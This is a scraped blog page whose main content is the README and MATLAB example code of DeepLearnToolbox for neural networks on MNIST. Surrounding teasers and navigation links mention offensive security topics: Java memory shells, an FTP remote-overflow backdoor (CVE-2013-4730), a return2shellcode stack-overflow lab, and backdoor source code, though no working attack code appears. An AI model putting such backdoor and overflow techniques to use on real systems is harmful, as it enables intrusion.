毕业设计:丹麦电力电价预测预测未来24小时的电价pytorch+lstm+历史特征和价格+时间序列 电价预测模型资源 完整代码数据可直接运行

毕业设计:丹麦电力电价预测预测未来24小时的电价pytorch+lstm+历史特征和价格+时间序列 电价预测模型资源 完整代码数据可直接运行

356

Java内存马前置知识

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Tomcat是实现Servlet的首选web服务器。

why811的博客 247

OpenCV计算机视觉实战(12)——图像金字塔与特征缩放

图像金字塔技术通过对原始图像按不同分辨率进行多层次表示,不仅能提升计算效率,还能为图像融合、检测与识别提供多尺度特征。高斯金字塔 (Gaussian Pyramid) 用于构建多级低通图像,拉普拉斯金字塔 (Laplacian Pyramid) 则提取各层之间的细节信息。本节将深入介绍如何使用 OpenCV 构建高斯与拉普拉斯金字塔,并以经典的图像融合案例,展示图像金字塔在特征缩放与融合中的强大应用。

qq_30167691的博客 1403

大厂面经:京东大数据面试题及参考答案(3万字长文)

Kafka是一个开源的分布式流处理平台,由 LinkedIn 开发并在 2011 年贡献给 Apache 软件基金会。高吞吐量:能够处理大量的数据流,适合实时数据管道。持久性:数据存储在磁盘上,确保数据不丢失。容错性:通过数据复制提供高可用性。扩展性:支持水平扩展,易于增加更多节点。Kafka 的核心概念Topic:逻辑上的数据流,可以理解为主题。Producer:生产数据的应用程序。Consumer:消费数据的应用程序。Broker:Kafka 集群中的服务器节点。Partition。

大模型大数据攻城狮的专栏 863

内存马浅析

之前在jianshu上写了很多博客,但是安全相关的最近很多都被锁了。所以准备陆陆续续转到csdn来。内存马前几年一直是个很热门的漏洞攻击手段,因为相对于落地的木马,无文件攻击的内存马隐蔽性、持久性更强,适用的漏洞场景也更多。

好记性不如烂笔头 2528

【跳频通信】基于MATLAB的跳频通信系统仿真

同时,跳频通信也具有良好的抗干扰能力,即使有部分频点被干扰,仍能在其他未被干扰的频点上进行正常的通信。由于跳频通信系统是瞬时窄带系统,它易于与其他的窄带通信系统兼容,也就是说,跳频电台可以与常规的窄带电台互通,有利于设备的更新。跳频是最常用的扩频方式之一,其工作原理是指收发双方传输信号的载波频率按照预定规律进行离散变化的通信方式,也就是说,通信中使用的载波频率受伪随机变化码的控制而随机跳变。从通信技术的实现方式来说,“跳频”是一种用码序列进行多频频移键控的通信方式,也是一种码控载频跳变的通信系统。

FPGA/MATLAB学习教程/源码/项目合作开发 6265

通过一个远程溢出漏洞实现开后门的操作

通过一个远程溢出漏洞实现开后门的操作PCManFTP v2.0(CVE-2013-4730)漏洞分析1. 软件简介2. 漏洞成因3. 利用过程4.PoC PCManFTP v2.0(CVE-2013-4730)漏洞分析 软件名称:PCManFTP 软件版本:2.0 漏洞模块:PCManFTPD2.exe 模块版本:2.0.0.0 编译日期:2005-01-01 操作系统:Windows 7 漏洞编...

weixin_44045581的博客 1257

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

注入和溢出基础

溢出*** 因为时间的原因我只 介绍下这些漏洞的是如何利用的不介绍他们是怎么产生的至于怎么修补我会提一下的~~~ 在介绍漏洞之前我先介绍几个很不错的扫描软件,毕竟扫描是基础 x-san 这个扫描软件我想大家不在陌生!!他是一个全方位扫描漏洞的软件,他主要是用 溢出*** 因为时间的原因我只 介绍下这些漏洞的是如何利用的不介绍他们是怎么产生的至于怎么修补我会提一下...

weixin_34097242的博客 253

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

栈溢出学习(一)之利用预留后门 & return2shellcode

前言 栈溢出学习(一),针对一个例子,进行各种栈溢出技术的练习 样例代码 本文使用的代码如下 #include <stdio.h> #include <stdlib.h> #include <string.h> /* * compiled with: * gcc -O0 -fno-stack-protector -no-pie ...

Pz_mstr's Blog 1627

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

上一篇: bat字符过滤器【 修正版 】(ALLyeSNO)
下一篇: WinEggDrop后门v1.0源代码
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值